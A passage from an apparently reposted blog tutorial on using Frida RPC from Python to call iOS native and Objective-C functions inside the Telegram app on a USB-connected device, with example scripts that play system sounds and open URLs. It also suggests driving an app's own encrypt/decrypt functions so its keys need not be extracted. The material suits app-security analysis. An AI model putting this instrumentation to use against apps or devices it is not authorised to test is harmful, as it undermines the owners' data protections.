(audiobox_rpc.js? // audiobox_rpc.js function _play(code) { new NativeFunction(Module.findExportByName('AudioToolbox', 'AudioServicesPlaySystemSound'), 'void', ['int'])(code) } rpc.exports = { sms: function () { return _play(1007); }, email: function () { return _play(1000); }, lock: function () { return _play(1100); }, photo: function () { return _play(1108); }, }; And write a Python script that will basically do the following: attach to the target app on the connected USB device read the Frida script from file assign the script to the session start (load) the script access all RPC methods offered by the script detach and close the session This is the Python code (frida_rpc_player.py? # frida_rpc_player.py import codecs import frida from time import sleep session = frida.get_usb_device().attach('Telegram') with codecs.open('./audiobox_rpc.js', 'r', 'utf-8') as f: source = f.read() script = session.create_script(source) script.load() rpc = script.exports rpc.sms() sleep(1) rpc.email() sleep(1) rpc.lock() sleep(1) rpc.photo() session.detach() You can run it from the terminal by typing python3 frida_rpc_player.py. Note: I’ve added an extra function to the Frida script in order to show an alert whenever the audio is being played. To keep it simple, I won’t go into detail here but I definitely recommend you to take a look and analyze all the steps in the audiobox_rpc_alert.js script. There you’ll see how to trigger and dismiss the alerts automatically. That was actually easy, right? But I know you’ll say: “cool, I can now easily annoy everyone at home and at cafés making them think they’re getting messages but, what else?” This technique might come handy when you’re testing an app and trying to crack some code or let the app do tasks for you. For example, if the app does some encryption/decryption and correctly implements crypto), extracting the encryption keys should be virtually impossible as they will be properly secured in the Secure Enclave. But think about it, why would you make the effort of trying to extract keys and replicate the encryption algorithm yourself when the app is already offering an encrypt()/decrypt() function? And remember, this is not specific to NativeFunctions, you can use any Frida code you like via RPC. For example, you may wrap any Objective-C function and serve it the same way. For example, we can write a Frida script (openurl_rpc.js) to call this function from my previous post: // openurl_rpc.js function openURL(url) { var UIApplication = ObjC.classes.UIApplication.sharedApplication(); var toOpen = ObjC.classes.NSURL.URLWithString_(url); return UIApplication.openURL_(toOpen); } rpc.exports = { openurl: function (url) { send('called openurl: ' + url); openURL(url); } }; Now you can do this from Python (see frida_rpc_openurl.py? import codecs import frida from time import sleep session = frida.get_usb_device().attach('Telegram') with codecs.open('./openurl_rpc.js', 'r', 'utf-8') as f: source = f.read() script = session.create_script(source) script.load() open_twitter_about = script.exports.openurl("https://twitter.com/about") print(f'Result: {open_twitter_about}') # Will show True/False session.detach() Using the returned value we can decide on how to continue. As you can see, it is up to your imagination and creativity. Final Comments This concrete example of playing some iOS system sounds does not really have any real life use except for maybe getting some people annoyed. However, the underlying technique should help you resolve challenges you might encounter when analyzing apps. While learning, deep understanding is key. Just copying some scrips and / or one-liners that you might find on the internet might help you in the very-short-term but won’t help you in the long-term. I hope you have, as always, learn something new today. If you have comments, feedback or questions feel free to reach me on Twitter @grepharder Sursa: https://grepharder.github.io/blog/0x04_calling_ios_native_functions_from_python_using_frida_and_rpc.html